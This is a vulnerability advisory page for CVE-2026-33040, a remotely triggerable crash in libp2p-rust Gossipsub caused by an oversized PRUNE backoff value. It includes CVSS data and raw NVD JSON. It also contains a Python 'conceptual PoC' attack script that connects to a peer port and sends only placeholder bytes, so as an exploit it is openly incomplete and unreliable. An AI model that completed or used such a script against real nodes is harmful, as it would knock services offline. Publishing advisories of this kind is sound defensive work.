Security Vulnerability Report
中文
CVE-2026-33040 CVSS 7.5 HIGH

CVE-2026-33040

Published: 2026-03-20 06:16:12
Last Modified: 2026-05-01 18:37:29

Description

libp2p-rust is the official rust language Implementation of the libp2p networking stack. In versions prior to 0.49.3, the Gossipsub implementation accepts attacker-controlled PRUNE backoff values and may perform unchecked time arithmetic when storing backoff state. A specially crafted PRUNE control message with an extremely large backoff (e.g. u64::MAX) can lead to Duration/Instant overflow during backoff update logic, triggering a panic in the networking state machine. This is remotely reachable over a normal libp2p connection and does not require authentication. Any application exposing a libp2p Gossipsub listener and using the affected backoff-handling path can be crashed by a network attacker that can reach the service port. The attack can be repeated by reconnecting and replaying the crafted control message. This issue has been fixed in version 0.49.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:protocol:libp2p-gossipsub:*:*:*:*:*:rust:*:* - VULNERABLE
libp2p-rust < 0.49.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual PoC for CVE-2026-33040 # This script demonstrates the logic of sending a PRUNE message with a massive backoff value. # Actual implementation requires encoding the protobuf message structure defined by libp2p Gossipsub. TARGET_IP = "127.0.0.1" TARGET_PORT = 4001 # Default libp2p peer port def create_malicious_prune_payload(): """ Creates a conceptual Gossipsub PRUNE message. The critical part is the 'backoff' field set to u64::MAX (18446744073709551615). """ # Note: Real-world exploitation requires constructing the valid protobuf bytes. # This is a placeholder representing the payload structure. print("[+] Crafting PRUNE message with backoff = u64::MAX") # Simulating the overflow trigger value backoff_val = (1 << 64) - 1 # In a real exploit, this would be serialized protobuf bytes. # For demonstration, we return a dummy byte array. return b"\x00\x00\x00..." def exploit(): try: print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) payload = create_malicious_prune_payload() s.send(payload) print("[+] Malicious PRUNE message sent.") print("[+] If vulnerable, the target should panic and crash.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33040", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:12.330", "lastModified": "2026-05-01T18:37:29.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libp2p-rust is the official rust language Implementation of the libp2p networking stack. In versions prior to 0.49.3, the Gossipsub implementation accepts attacker-controlled PRUNE backoff values and may perform unchecked time arithmetic when storing backoff state. A specially crafted PRUNE control message with an extremely large backoff (e.g. u64::MAX) can lead to Duration/Instant overflow during backoff update logic, triggering a panic in the networking state machine. This is remotely reachable over a normal libp2p connection and does not require authentication. Any application exposing a libp2p Gossipsub listener and using the affected backoff-handling path can be crashed by a network attacker that can reach the service port. The attack can be repeated by reconnecting and replaying the crafted control message. This issue has been fixed in version 0.49.3."}, {"lang": "es", "value": "libp2p-rust es la implementación oficial en lenguaje Rust de la pila de red libp2p. En versiones anteriores a la 0.49.3, la implementación de Gossipsub acepta valores de retroceso PRUNE controlados por el atacante y puede realizar aritmética de tiempo sin verificar al almacenar el estado de retroceso. Un mensaje de control PRUNE especialmente diseñado con un retroceso extremadamente grande (p. ej., u64::MAX) puede provocar un desbordamiento de Duration/Instant durante la lógica de actualización del retroceso, desencadenando un pánico en la máquina de estados de la red. Esto es accesible remotamente a través de una conexión libp2p normal y no requiere autenticación. Cualquier aplicación que exponga un oyente Gossipsub de libp2p y que utilice la ruta de manejo de retroceso afectada puede ser bloqueada por un atacante de red que pueda alcanzar el puerto del servicio. El ataque puede repetirse reconectándose y reproduciendo el mensaje de control diseñado. Este problema ha sido solucionado en la versión 0.49.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protocol:libp2p-gossipsub:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.49.3", "matchCriteriaId": "38F67451-E9D3-42D5-A751-2E222335EA64"}]}]}], "references": [{"url": "https://github.com/libp2p/rust-libp2p/security/advisories/GHSA-gc42-3jg7-rxr2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}